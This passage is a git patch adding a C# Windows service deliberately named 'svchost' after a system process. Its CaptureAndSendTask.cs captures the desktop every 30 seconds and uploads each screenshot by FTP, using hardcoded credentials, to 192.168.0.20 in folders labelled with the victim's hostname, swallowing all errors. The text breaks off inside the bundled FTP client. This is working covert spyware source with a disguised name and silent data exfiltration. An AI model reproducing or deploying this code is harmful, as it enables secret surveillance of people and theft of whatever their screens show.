From 96c30486949f38853651a3768e38e249b0f06cea Mon Sep 17 00:00:00 2001 From: luisbebop Date: Fri, 26 Dec 2008 16:12:38 -0200 Subject: [PATCH] Commit inicial do projeto svchost --- AssemblyInfo.cs | 58 ++ CaptureAndSend/AssemblyInfo.cs | 58 ++ CaptureAndSend/CaptureAndSend.csproj | 130 +++ CaptureAndSend/CaptureAndSend.csproj.user | 48 + CaptureAndSend/CaptureAndSend.sln | 21 + CaptureAndSend/CaptureAndSendTask.cs | 115 +++ CaptureAndSend/CaptureScreen.cs | 146 +++ CaptureAndSend/FtpClient.cs | 1051 +++++++++++++++++++++ CaptureAndSend/ScreenCapturing.cs | 368 ++++++++ CaptureAndSend/Win32.cs | 830 ++++++++++++++++ ProjectInstaller.cs | 93 ++ ProjectInstaller.resx | 42 + bin/Debug/svchost.exe.config | 9 + bin/Release/InstallUtil.exe | Bin 0 -> 15872 bytes bin/Release/instala.bat | 9 + bin/Release/remove.bat | 6 + bin/Release/svchost.exe.config | 9 + readme.markdown | 27 + svchost.cs | 103 ++ svchost.resx | 42 + svchost.sln | 29 + svchostService.csproj | 130 +++ 22 files changed, 3324 insertions(+) create mode 100644 AssemblyInfo.cs create mode 100644 CaptureAndSend/AssemblyInfo.cs create mode 100644 CaptureAndSend/CaptureAndSend.csproj create mode 100644 CaptureAndSend/CaptureAndSend.csproj.user create mode 100644 CaptureAndSend/CaptureAndSend.sln create mode 100644 CaptureAndSend/CaptureAndSendTask.cs create mode 100644 CaptureAndSend/CaptureScreen.cs create mode 100644 CaptureAndSend/FtpClient.cs create mode 100644 CaptureAndSend/ScreenCapturing.cs create mode 100644 CaptureAndSend/Win32.cs create mode 100644 ProjectInstaller.cs create mode 100644 ProjectInstaller.resx create mode 100644 bin/Debug/svchost.exe.config create mode 100644 bin/Release/InstallUtil.exe create mode 100644 bin/Release/instala.bat create mode 100644 bin/Release/remove.bat create mode 100644 bin/Release/svchost.exe.config create mode 100644 readme.markdown create mode 100644 svchost.cs create mode 100644 svchost.resx create mode 100644 svchost.sln create mode 100644 svchostService.csproj diff --git a/AssemblyInfo.cs b/AssemblyInfo.cs new file mode 100644 index 0000000..831c510 --- /dev/null +++ b/AssemblyInfo.cs @@ -0,0 +1,58 @@ +using System.Reflection; +using System.Runtime.CompilerServices; + +// +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +// +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Revision and Build Numbers +// by using the '*' as shown below: + +[assembly: AssemblyVersion("1.1.0")] + +// +// In order to sign your assembly you must specify a key to use. Refer to the +// Microsoft .NET Framework documentation for more information on assembly signing. +// +// Use the attributes below to control which key is used for signing. +// +// Notes: +// (*) If no key is specified, the assembly is not signed. +// (*) KeyName refers to a key that has been installed in the Crypto Service +// Provider (CSP) on your machine. KeyFile refers to a file which contains +// a key. +// (*) If the KeyFile and the KeyName values are both specified, the +// following processing occurs: +// (1) If the KeyName can be found in the CSP, that key is used. +// (2) If the KeyName does not exist and the KeyFile does exist, the key +// in the KeyFile is installed into the CSP and used. +// (*) In order to create a KeyFile, you can use the sn.exe (Strong Name) utility. +// When specifying the KeyFile, the location of the KeyFile should be +// relative to the project output directory which is +// %Project Directory%\obj\. For example, if your KeyFile is +// located in the project directory, you would specify the AssemblyKeyFile +// attribute as [assembly: AssemblyKeyFile("..\\..\\mykey.snk")] +// (*) Delay Signing is an advanced option - see the Microsoft .NET Framework +// documentation for more information on this. +// +[assembly: AssemblyDelaySign(false)] +[assembly: AssemblyKeyFile("")] +[assembly: AssemblyKeyName("")] diff --git a/CaptureAndSend/AssemblyInfo.cs b/CaptureAndSend/AssemblyInfo.cs new file mode 100644 index 0000000..831c510 --- /dev/null +++ b/CaptureAndSend/AssemblyInfo.cs @@ -0,0 +1,58 @@ +using System.Reflection; +using System.Runtime.CompilerServices; + +// +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +// +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Revision and Build Numbers +// by using the '*' as shown below: + +[assembly: AssemblyVersion("1.1.0")] + +// +// In order to sign your assembly you must specify a key to use. Refer to the +// Microsoft .NET Framework documentation for more information on assembly signing. +// +// Use the attributes below to control which key is used for signing. +// +// Notes: +// (*) If no key is specified, the assembly is not signed. +// (*) KeyName refers to a key that has been installed in the Crypto Service +// Provider (CSP) on your machine. KeyFile refers to a file which contains +// a key. +// (*) If the KeyFile and the KeyName values are both specified, the +// following processing occurs: +// (1) If the KeyName can be found in the CSP, that key is used. +// (2) If the KeyName does not exist and the KeyFile does exist, the key +// in the KeyFile is installed into the CSP and used. +// (*) In order to create a KeyFile, you can use the sn.exe (Strong Name) utility. +// When specifying the KeyFile, the location of the KeyFile should be +// relative to the project output directory which is +// %Project Directory%\obj\. For example, if your KeyFile is +// located in the project directory, you would specify the AssemblyKeyFile +// attribute as [assembly: AssemblyKeyFile("..\\..\\mykey.snk")] +// (*) Delay Signing is an advanced option - see the Microsoft .NET Framework +// documentation for more information on this. +// +[assembly: AssemblyDelaySign(false)] +[assembly: AssemblyKeyFile("")] +[assembly: AssemblyKeyName("")] diff --git a/CaptureAndSend/CaptureAndSend.csproj b/CaptureAndSend/CaptureAndSend.csproj new file mode 100644 index 0000000..6fbb9a8 --- /dev/null +++ b/CaptureAndSend/CaptureAndSend.csproj @@ -0,0 +1,130 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/CaptureAndSend/CaptureAndSend.csproj.user b/CaptureAndSend/CaptureAndSend.csproj.user new file mode 100644 index 0000000..0e89b7e --- /dev/null +++ b/CaptureAndSend/CaptureAndSend.csproj.user @@ -0,0 +1,48 @@ + + + + + + + + + + + + diff --git a/CaptureAndSend/CaptureAndSend.sln b/CaptureAndSend/CaptureAndSend.sln new file mode 100644 index 0000000..567d22b --- /dev/null +++ b/CaptureAndSend/CaptureAndSend.sln @@ -0,0 +1,21 @@ +Microsoft Visual Studio Solution File, Format Version 8.00 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CaptureAndSend", "CaptureAndSend.csproj", "{627C48CD-257E-418E-9913-90ABD0141D50}" + ProjectSection(ProjectDependencies) = postProject + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfiguration) = preSolution + Debug = Debug + Release = Release + EndGlobalSection + GlobalSection(ProjectConfiguration) = postSolution + {627C48CD-257E-418E-9913-90ABD0141D50}.Debug.ActiveCfg = Debug|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Debug.Build.0 = Debug|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Release.ActiveCfg = Release|.NET + {627C48CD-257E-418E-9913-90ABD0141D50}.Release.Build.0 = Release|.NET + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + EndGlobalSection + GlobalSection(ExtensibilityAddIns) = postSolution + EndGlobalSection +EndGlobal diff --git a/CaptureAndSend/CaptureAndSendTask.cs b/CaptureAndSend/CaptureAndSendTask.cs new file mode 100644 index 0000000..e73242b --- /dev/null +++ b/CaptureAndSend/CaptureAndSendTask.cs @@ -0,0 +1,115 @@ +using System; +using System.Threading; + +namespace CaptureAndSend +{ + /// + /// Summary description for CaptureAndSendTask. + /// + public class CaptureAndSendTask + { + System.Threading.Thread threadClock = null; + string nameOfFile = ""; + FtpClient ftp = null; + + public void Start() + { + ftp = new FtpClient("192.168.0.20","planobe","planobe"); + + threadClock = new Thread( new ThreadStart( CaptureJPGAndSendFTP ) ); + threadClock.IsBackground = true; + threadClock.Start(); + + } + + private void CaptureJPGAndSendFTP() + { + while (true) + { + try + { + nameOfFile = string.Format( "{0}.{1}.{2} - {3}.{4}.{5}.jpg", DateTime.Now.Year, + DateTime.Now.Month.ToString().PadLeft(2,'0'), + DateTime.Now.Day.ToString().PadLeft(2,'0'), + DateTime.Now.Hour.ToString().PadLeft(2,'0'), + DateTime.Now.Minute.ToString().PadLeft(2,'0'), + DateTime.Now.Second.ToString().PadLeft(2,'0')); + + //capture a JPG + System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap(); + fileImage.Save( this.nameOfFile , System.Drawing.Imaging.ImageFormat.Jpeg ); + + //send a JPG to FTP Server + ftp.Login(); + this.CreateFolder(); + ftp.Upload(nameOfFile); + ftp.Close(); + + System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile); + file.Delete(); + } + + catch {} + + finally + { + GC.Collect(); + Thread.Sleep(30000); + } + } + } + + public void SingleCaptureJPGAndSendFTP(string ftphost,string username,string password) + { + try + { + ftp = new FtpClient(ftphost,username,password); + nameOfFile = string.Format( "{0}.{1}.{2} - {3}.{4}.{5}.jpg", DateTime.Now.Year, + DateTime.Now.Month.ToString().PadLeft(2,'0'), + DateTime.Now.Day.ToString().PadLeft(2,'0'), + DateTime.Now.Hour.ToString().PadLeft(2,'0'), + DateTime.Now.Minute.ToString().PadLeft(2,'0'), + DateTime.Now.Second.ToString().PadLeft(2,'0')); + + //capture a JPG + //System.Drawing.Image fileImage = (System.Drawing.Image)ScreenCapturing.GetDesktopWindowCaptureAsBitmap(); + System.Drawing.Image fileImage = (System.Drawing.Image)CaptureScreen.GetDesktopImage(); + fileImage.Save( this.nameOfFile , System.Drawing.Imaging.ImageFormat.Jpeg ); + + //send a JPG to FTP Server + ftp.Login(); + this.CreateFolder(); + ftp.Upload(nameOfFile); + ftp.Close(); + + System.IO.FileInfo file = new System.IO.FileInfo(this.nameOfFile); + file.Delete(); + } + + catch {} + + finally + { + GC.Collect(); + } + } + + public void CreateFolder() + { + string nameOfDirectory = string.Format( "{0}.{1}.{2}", + DateTime.Now.Year.ToString().PadLeft(2,'0'), + DateTime.Now.Month.ToString().PadLeft(2,'0'), + DateTime.Now.Day.ToString().PadLeft(2,'0')); + string nameOfDirectoryRoot = string.Format ("logs_{0}",System.Net.Dns.GetHostName()); + + try {ftp.MakeDir(nameOfDirectoryRoot);} + catch {} + try {ftp.ChangeDir(nameOfDirectoryRoot);} + catch {} + try {ftp.MakeDir(nameOfDirectory);} + catch {} + try {ftp.ChangeDir(nameOfDirectory);} + catch {} + } + } +} diff --git a/CaptureAndSend/CaptureScreen.cs b/CaptureAndSend/CaptureScreen.cs new file mode 100644 index 0000000..8a646a8 --- /dev/null +++ b/CaptureAndSend/CaptureScreen.cs @@ -0,0 +1,146 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace CaptureAndSend +{ + /// + /// This class shall keep all the functionality for capturing + /// the desktop. + /// + public class CaptureScreen + { + #region Public Class Functions + public static Bitmap GetDesktopImage() + { + //In size variable we shall keep the size of the screen. + SIZE size; + + //Variable to keep the handle to bitmap. + IntPtr hBitmap; + + //Here we get the handle to the desktop device context. + IntPtr hDC = PlatformInvokeUSER32.GetDC(PlatformInvokeUSER32.GetDesktopWindow()); + + //Here we make a compatible device context in memory for screen device context. + IntPtr hMemDC = PlatformInvokeGDI32.CreateCompatibleDC(hDC); + + //We pass SM_CXSCREEN constant to GetSystemMetrics to get the X coordinates of screen. + size.cx = PlatformInvokeUSER32.GetSystemMetrics(PlatformInvokeUSER32.SM_CXSCREEN); + + //We pass SM_CYSCREEN constant to GetSystemMetrics to get the Y coordinates of screen. + size.cy = PlatformInvokeUSER32.GetSystemMetrics(PlatformInvokeUSER32.SM_CYSCREEN); + + //We create a compatible bitmap of screen size using screen device context. + hBitmap = PlatformInvokeGDI32.CreateCompatibleBitmap(hDC, size.cx, size.cy); + + //As hBitmap is IntPtr we can not check it against null. For this purspose IntPtr.Zero is used. + if (hBitmap!=IntPtr.Zero) + { + //Here we select the compatible bitmap in memeory device context and keeps the refrence to Old bitmap. + IntPtr hOld = (IntPtr) PlatformInvokeGDI32.SelectObject(hMemDC, hBitmap); + //We copy the Bitmap to the memory device context. + PlatformInvokeGDI32.BitBlt(hMemDC, 0, 0,size.cx,size.cy, hDC, 0, 0, PlatformInvokeGDI32.SRCCOPY); + //We select the old bitmap back to the memory device context. + PlatformInvokeGDI32.SelectObject(hMemDC, hOld); + //We delete the memory device context. + PlatformInvokeGDI32.DeleteDC(hMemDC); + //We release the screen device context. + PlatformInvokeUSER32.ReleaseDC(PlatformInvokeUSER32.GetDesktopWindow(), hDC); + //Image is created by Image bitmap handle and stored in local variable. + Bitmap bmp = System.Drawing.Image.FromHbitmap(hBitmap); + //Release the memory to avoid memory leaks. + PlatformInvokeGDI32.DeleteObject(hBitmap); + //This statement runs the garbage collector manually. + GC.Collect(); + //Return the bitmap + return bmp; + } + + //If hBitmap is null retunrn null. + return null; + } + #endregion + } + + public class PlatformInvokeGDI32 + { + + #region Class Variables + public const int SRCCOPY = 13369376; + #endregion + + #region Class Functions + [DllImport("gdi32.dll",EntryPoint="DeleteDC")] + public static extern IntPtr DeleteDC(IntPtr hDc); + + [DllImport("gdi32.dll",EntryPoint="DeleteObject")] + public static extern IntPtr DeleteObject(IntPtr hDc); + + [DllImport("gdi32.dll",EntryPoint="BitBlt")] + public static extern bool BitBlt(IntPtr hdcDest,int xDest,int yDest,int wDest,int hDest,IntPtr hdcSource,int xSrc,int ySrc,int RasterOp); + + [DllImport ("gdi32.dll",EntryPoint="CreateCompatibleBitmap")] + public static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); + + [DllImport ("gdi32.dll",EntryPoint="CreateCompatibleDC")] + public static extern IntPtr CreateCompatibleDC(IntPtr hdc); + + [DllImport ("gdi32.dll",EntryPoint="SelectObject")] + public static extern IntPtr SelectObject(IntPtr hdc,IntPtr bmp); + #endregion + + #region Public Constructor + public PlatformInvokeGDI32() + { + // + // TODO: Add constructor logic here + // + } + #endregion + + } + + public class PlatformInvokeUSER32 + { + + #region Class Variables + public const int SM_CXSCREEN=0; + public const int SM_CYSCREEN=1; + #endregion + + #region Class Functions + [DllImport("user32.dll", EntryPoint="GetDesktopWindow")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll",EntryPoint="GetDC")] + public static extern IntPtr GetDC(IntPtr ptr); + + [DllImport("user32.dll",EntryPoint="GetSystemMetrics")] + public static extern int GetSystemMetrics(int abc); + + [DllImport("user32.dll",EntryPoint="GetWindowDC")] + public static extern IntPtr GetWindowDC(Int32 ptr); + + [DllImport("user32.dll",EntryPoint="ReleaseDC")] + public static extern IntPtr ReleaseDC(IntPtr hWnd,IntPtr hDc); + + #endregion + + #region Public Constructor + public PlatformInvokeUSER32() + { + // + // TODO: Add constructor logic here + // + } + #endregion + } + + //This structure shall be used to keep the size of the screen. + public struct SIZE + { + public int cx; + public int cy; + } +} diff --git a/CaptureAndSend/FtpClient.cs b/CaptureAndSend/FtpClient.cs new file mode 100644 index 0000000..7abc406 --- /dev/null +++ b/CaptureAndSend/FtpClient.cs @@ -0,0 +1,1051 @@ +using System; +using System.Net; +using System.IO; +using System.Text; +using System.Net.Sockets; +using System.Diagnostics; +using System.Runtime.Remoting; +using System.Runtime.Remoting.Messaging; + +/* + * FTP Client library in C# + * Author: Jaimon Mathew + * mailto:jaimonmathew@rediffmail.com + * http://www.csharphelp.com/archives/archive9.html + * + * Addapted for use by Dan Glass 07/03/03 + */ + + +namespace CaptureAndSend +{ + + public class FtpClient + { + + public class FtpException : Exception + { + public FtpException(string message) : base(message){} + public FtpException(string message, Exception innerException) : base(message,innerException){} + } + + private static int BUFFER_SIZE = 512; + private static Encoding ASCII = Encoding.ASCII; + + private bool verboseDebugging = false; + + // defaults + private string server = "localhost"; + private string remotePath = "."; + private string username = "anonymous"; + private string password = "anonymous@anonymous.net"; + private string message = null; + private string result = null; + + private int port = 21; + private int bytes = 0; + private int resultCode = 0; + + private bool loggedin = false; + private bool binMode = false; + + private Byte[] buffer = new Byte[BUFFER_SIZE]; + private Socket clientSocket = null; + + private int timeoutSeconds = 10; + + /// + /// Default contructor + /// + public FtpClient() + { + } + /// + /// + /// + /// + /// + /// + public FtpClient(string server, string username, string password) + { + this.server = server; + this.username = username; + this.password = password; + } + /// + /// + /// + /// + /// + /// + /// + /// + public FtpClient(string server, string username, string password, int timeoutSeconds, int port) + { + this.server = server; + this.username = username; + this.password = password; + this.timeoutSeconds = timeoutSeconds; + this.port = port; + } + + /// + /// Display all communications to the debug log + /// + public bool VerboseDebugging + { + get + { + return this.verboseDebugging; + } + set + { + this.verboseDebugging = value; + } + } + /// + /// Remote server port. Typically TCP 21 + /// + public int Port + { + get + { + return this.port; + } + set + { + this.port = value; + } + } + /// + /// Timeout waiting for a response from server, in seconds. + /// + public int Timeout + { + get + { + return this.timeoutSeconds; + } + set + { + this.timeoutSeconds = value; + } + } + /// + /// Gets and Sets the name of the FTP server. + /// + /// + public string Server + { + get + { + return this.server; + } + set + { + this.server = value; + } + } + /// + /// Gets and Sets the port number. + /// + /// + public int RemotePort + { + get + { + return this.port; + } + set + { + this.port = value; + } + } + /// + /// GetS and Sets the remote directory. + /// + public string RemotePath + { + get + { + return this.remotePath; + } + set + { + this.remotePath = value; + } + + } + /// + /// Gets and Sets the username. + /// + public string Username + { + get + { + return this.username; + } + set + { + this.username = value; + } + } + /// + /// Gets and Set the password. + /// + public string Password + { + get + { + return this.password; + } + set + { + this.password = value; + } + } + + /// + /// If the value of mode is true, set binary mode for downloads, else, Ascii mode. + /// + public bool BinaryMode + { + get + { + return this.binMode; + } + set + { + if ( this.binMode == value ) return; + + if ( value ) + sendCommand("TYPE I"); + + else + sendCommand("TYPE A"); + + if ( this.resultCode != 200 ) throw new FtpException(result.Substring(4)); + } + } + /// + /// Login to the remote server. + /// + public void Login() + { + if ( this.loggedin ) this.Close(); + + Debug.WriteLine("Opening connection to " + this.server, "FtpClient" ); + + IPAddress addr = null; + IPEndPoint ep = null; + + try + { + this.clientSocket = new Socket( AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp ); + addr = Dns.Resolve(this.server).AddressList[0]; + ep = new IPEndPoint( addr, this.port ); + this.clientSocket.Connect(ep); + } + catch(Exception ex) + { + // doubtfull + if ( this.clientSocket != null && this.clientSocket.Connected ) this.clientSocket.Close(); + + throw new FtpException("Couldn't connect to remote server",ex); + } + + this.readResponse(); + + if(this.resultCode != 220) + { + this.Close(); + throw new FtpException(this.result.Substring(4)); + } + + this.sendCommand( "USER " + username ); + + if( !(this.resultCode == 331 || this.resultCode == 230) ) + { + this.cleanup(); + throw new FtpException(this.result.Substring(4)); + } + + if( this.resultCode != 230 ) + { + this.sendCommand( "PASS " + password ); + + if( !(this.resultCode == 230 || this.resultCode == 202) ) + { + this.cleanup(); + throw new FtpException(this.result.Substring(4)); + } + } + + this.loggedin = true; + + Debug.WriteLine( "Connected to " + this.server, "FtpClient" ); + + this.ChangeDir(this.remotePath); + } + + /// + /// Close the FTP connection. + /// + public void Close() + { + Debug.WriteLine("Closing connection to " + this.server, "FtpClient" ); + + if( this.clientSocket != null ) + { + this.sendCommand("QUIT"); + } + + this.cleanup(); + } + + /// + /// Return a string array containing the remote directory's file list. + /// + /// + public string[] GetFileList() + { + return this.GetFileList("*.*"); + } + + /// + /// Return a string array containing the remote directory's file list. + /// + /// + /// + public string[] GetFileList(string mask) + { + if ( !this.loggedin ) this.Login(); + + Socket cSocket = createDataSocket(); + + this.sendCommand("NLST " + mask); + + if(!(this.resultCode == 150 || this.resultCode == 125)) throw new FtpException(this.result.Substring(4)); + + this.message = ""; + + DateTime timeout = DateTime.Now.AddSeconds(this.timeoutSeconds); + + while( timeout > DateTime.Now ) + { + int bytes = cSocket.Receive(buffer, buffer.Length, 0); + this.message += ASCII.GetString(buffer, 0, bytes); + + if ( bytes < this.buffer.Length ) break; + } + + string[] msg = this.message.Replace("\r","").Split('\n'); + + cSocket.Close(); + + if ( this.message.IndexOf( "No such file or directory" ) != -1 ) + msg = new string[]{}; + + this.readResponse(); + + if ( this.resultCode != 226 ) + msg = new string[]{}; + // throw new FtpException(result.Substring(4)); + + return msg; + } + + /// + /// Return the size of a file. + /// + /// + /// + public long GetFileSize(string fileName) + { + if ( !this.loggedin ) this.Login(); + + this.sendCommand("SIZE " + fileName); + long size=0; + + if ( this.resultCode == 213 ) + size = long.Parse(this.result.Substring(4)); + + else + throw new FtpException(this.result.Substring(4)); + + return size; + } + + + /// + /// Download a file to the Assembly's local directory, + /// keeping the same file name. + /// + /// + public void Download(string remFileName) + { + this.Download(remFileName,"",false); + } + + /// + /// Download a remote file to the Assembly's local directory, + /// keeping the same file name, and set the resume flag. + /// + /// + /// + public void Download(string remFileName,Boolean resume) + { + this.Download(remFileName,"",resume); + } + + /// + /// Download a remote file to a local file name which can include + /// a path. The local file name will be created or overwritten, + /// but the path must exist. + /// + /// + /// + public void Download(string remFileName,string locFileName) + { + this.Download(remFileName,locFileName,false); + } + + /// + /// Download a remote file to a local file name which can include + /// a path, and set the resume flag. The local file name will be + /// created or overwritten, but the path must exist. + /// + /// + /// + /// + public void Download(string remFileName,string locFileName,Boolean resume) + { + if ( !this.loggedin ) this.Login(); + + this.BinaryMode = true; + + Debug.WriteLine("Downloading file " + remFileName + " from " + server + "/" + remotePath, "FtpClient" ); + + if (locFileName.Equals("")) + { + locFileName = remFileName; + } + + FileStream output = null; + + if ( !File.Exists(locFileName) ) + output = File.Create(locFileName); + + else + output = new FileStream(locFileName,FileMode.Open); + + Socket cSocket = createDataSocket(); + + long offset = 0; + + if ( resume ) + { + offset = output.Length; + + if ( offset > 0 ) + { + this.sendCommand( "REST " + offset ); + if ( this.resultCode != 350 ) + { + //Server dosnt support resuming + offset = 0; + Debug.WriteLine("Resuming not supported:" + result.Substring(4), "FtpClient" ); + } + else + { + Debug.WriteLine("Resuming at offset " + offset, "FtpClient" ); + output.Seek( offset, SeekOrigin.Begin ); + } + } + } + + this.sendCommand("RETR " + remFileName); + + if ( this.resultCode != 150 && this.resultCode != 125 ) + { + throw new FtpException(this.result.Substring(4)); + } + + DateTime timeout = DateTime.Now.AddSeconds(this.timeoutSeconds); + + while ( timeout > DateTime.Now ) + { + this.bytes = cSocket.Receive(buffer, buffer.Length, 0); + output.Write(this.buffer,0,this.bytes); + + if ( this.bytes <= 0) + { + break; + } + } + + output.Close(); + + if ( cSocket.Connected ) cSocket.Close(); + + this.readResponse(); + + if( this.resultCode != 226 && this.resultCode != 250 ) + throw new FtpException(this.result.Substring(4)); + } + + + /// + /// Upload a file. + /// + /// + public void Upload(string fileName) + { + this.Upload(fileName,false); + } + + + /// + /// Upload a file and set the resume flag. + /// + /// + /// + public void Upload(string fileName, bool resume) + { + if ( !this.loggedin ) this.Login(); + + Socket cSocket = null ; + long offset = 0; + + if ( resume ) + { + try + { + this.BinaryMode = true; + + offset = GetFileSize( Path.GetFileName(fileName) ); + } + catch(Exception) + { + // file not exist + offset = 0; + } + } + + // open stream to read file + FileStream input = new FileStream(fileName,FileMode.Open); + + if ( resume && input.Length < offset ) + { + // different file size + Debug.WriteLine("Overwriting " + fileName, "FtpClient"); + offset = 0; + } + else if ( resume && input.Length == offset ) + { + // file done + input.Close(); + Debug.WriteLine("Skipping completed " + fileName + " - turn resume off to not detect.", "FtpClient"); + return; + } + + // dont create untill we know that we need it + cSocket = this.createDataSocket(); + + if ( offset > 0 ) + { + this.sendCommand( "REST " + offset ); + if ( this.resultCode != 350 ) + { + Debug.WriteLine("Resuming not supported", "FtpClient"); + offset = 0; + } + } + + this.sendCommand( "STOR " + Path.GetFileName(fileName) ); + + if ( this.resultCode != 125 && this.resultCode != 150 ) throw new FtpException(result.Substring(4)); + + if ( offset != 0 ) + { + Debug.WriteLine("Resuming at offset " + offset, "FtpClient" ); + + input.Seek(offset,SeekOrigin.Begin); + } + + Debug.WriteLine( "Uploading file " + fileName + " to " + remotePath, "FtpClient" ); + + while ((bytes = input.Read(buffer,0,buffer.Length)) > 0) + { + cSocket.Send(buffer, bytes, 0); + } + + input.Close(); + + if (cSocket.Connected) + { + cSocket.Close(); + } + + this.readResponse(); + + if( this.resultCode != 226 && this.resultCode != 250 ) throw new FtpException(this.result.Substring(4)); + } + + /// + /// Upload a directory and its file contents + /// + /// + /// Whether to recurse sub directories + public void UploadDirectory(string path, bool recurse) + { + this.UploadDirectory(path,recurse,"*.*"); + } + + /// + /// Upload a directory and its file contents + /// + /// + /// Whether to recurse sub directories + /// Only upload files of the given mask - everything is '*.*' + public void UploadDirectory(string path, bool recurse, string mask) + { + string[] dirs = path.Replace("/",@"\").Split('\\'); + string rootDir = dirs[ dirs.Length - 1 ]; + + // make the root dir if it doed not exist + if ( this.GetFileList(rootDir).Length < 1 ) this.MakeDir(rootDir); + + this.ChangeDir(rootDir); + + foreach ( string file in Directory.GetFiles(path,mask) ) + { + this.Upload(file,true); + } + if ( recurse ) + { + foreach ( string directory in Directory.GetDirectories(path) ) + { + this.UploadDirectory(directory,recurse,mask); + } + } + + this.ChangeDir(".."); + } + + /// + /// Delete a file from the remote FTP server. + /// + /// + public void DeleteFile(string fileName) + { + if ( !this.loggedin ) this.Login(); + + this.sendCommand( "DELE " + fileName ); + + if ( this.resultCode != 250 ) throw new FtpException(this.result.Substring(4)); + + Debug.WriteLine( "Deleted file " + fileName, "FtpClient" ); + } + + /// + /// Rename a file on the remote FTP server. + /// + /// + /// + /// setting to false will throw exception if it exists + public void RenameFile(string oldFileName,string newFileName, bool overwrite) + { + if ( !this.loggedin ) this.Login(); + + this.sendCommand( "RNFR " + oldFileName ); + + if ( this.resultCode != 350 ) throw new FtpException(this.result.Substring(4)); + + if ( !overwrite && this.GetFileList(newFileName).Length > 0 ) throw new FtpException("File already exists"); + + this.sendCommand( "RNTO " + newFileName ); + + if ( this.resultCode != 250 ) throw new FtpException(this.result.Substring(4)); + + Debug.WriteLine( "Renamed file " + oldFileName + " to " + newFileName, "FtpClient" ); + } + + /// + /// Create a directory on the remote FTP server. + /// + /// + public void MakeDir(string dirName) + { + if ( !this.loggedin ) this.Login(); + + this.sendCommand( "MKD " + dirName ); + + if ( this.resultCode != 250 && this.resultCode != 257 ) throw new FtpException(this.result.Substring(4)); + + Debug.WriteLine( "Created directory " + dirName, "FtpClient" ); + } + + /// + /// Delete a directory on the remote FTP server. + /// + /// + public void RemoveDir(string dirName) + { + if ( !this.loggedin ) this.Login(); + + this.sendCommand( "RMD " + dirName ); + + if ( this.resultCode != 250 ) throw new FtpException(this.result.Substring(4)); + + Debug.WriteLine( "Removed directory " + dirName, "FtpClient" ); + } + + /// + /// Change the current working directory on the remote FTP server. + /// + /// + public void ChangeDir(string dirName) + { + if( dirName == null || dirName.Equals(".") || dirName.Length == 0 ) + { + return; + } + + if ( !this.loggedin ) this.Login(); + + this.sendCommand( "CWD " + dirName ); + + if ( this.resultCode != 250 ) throw new FtpException(result.Substring(4)); + + this.sendCommand( "PWD" ); + + if ( this.resultCode != 257 ) throw new FtpException(result.Substring(4)); + + // gonna have to do better than this.... + this.remotePath = this.message.Split('"')[1]; + + Debug.WriteLine( "Current directory is " + this.remotePath, "FtpClient" ); + } + + /// + /// + /// + private void readResponse() + { + this.message = ""; + this.result = this.readLine(); + + if ( this.result.Length > 3 ) + this.resultCode = int.Parse( this.result.Substring(0,3) ); + else + this.result = null; + } + + /// + /// + /// + /// + // + // Done when 3 digits followed by space + // + private bool isDone( byte []b, long read ) + { + if ( read >= 4 + && Char.IsDigit((char)b[0]) + && Char.IsDigit((char)b[1]) + && Char.IsDigit((char)b[2]) + && Char.IsWhiteSpace((char)b[3]) + ) + { + return true; + } + + return false; + } + private string readLine() + { + + while (true) + { + bytes = clientSocket.Receive(buffer, buffer.Length, 0); + this.message += ASCII.GetString(buffer, 0, bytes); + if (bytes < buffer.Length && isDone(buffer,bytes) ) + { + break; + } + } + + char[] seperator = {'\n'}; + string[] mess = this.message.Split(seperator); + + if (this.message.Length > 2) + { + this.message = mess[mess.Length-2]; + } + else + { + this.message = mess[0]; + } + + if (this.message.Length < 4) + { + this.message += " Corrupt reply from ftp server, (Length < 4)"; + } + + return this.message; + } + + + /// + /// + /// + /// + private void sendCommand(String command) + { + if ( this.verboseDebugging ) Debug.WriteLine(command,"FtpClient"); + + Byte[] cmdBytes = Encoding.ASCII.GetBytes( ( command + "\r\n" ).ToCharArray() ); + clientSocket.Send( cmdBytes, cmdBytes.Length, 0); + this.readResponse(); + } + + /// + /// when doing data transfers, we need to open another socket for it. + /// + /// Connected socket + private Socket createDataSocket() + { + this.sendCommand("PASV"); + + if ( this.resultCode != 227 ) throw new FtpException(this.result.Substring(4)); + + int index1 = this.result.IndexOf('('); + int index2 = this.result.IndexOf(')'); + + string ipData = this.result.Substring(index1+1,index2-index1-1); + + int[] parts = new int[6]; + + int len = ipData.Length; + int partCount = 0; + string buf=""; + + for (int i = 0; i < len && partCount <= 6; i++) + { + char ch = char.Parse( ipData.Substring(i,1) ); + + if ( char.IsDigit(ch) ) + buf+=ch; + + else if (ch != ',') + throw new FtpException("Malformed PASV result: " + result); + + if ( ch == ',' || i+1 == len ) + { + try + { + parts[partCount++] = int.Parse(buf); + buf = ""; + } + catch (Exception ex) + { + throw new FtpException("Malformed PASV result (not 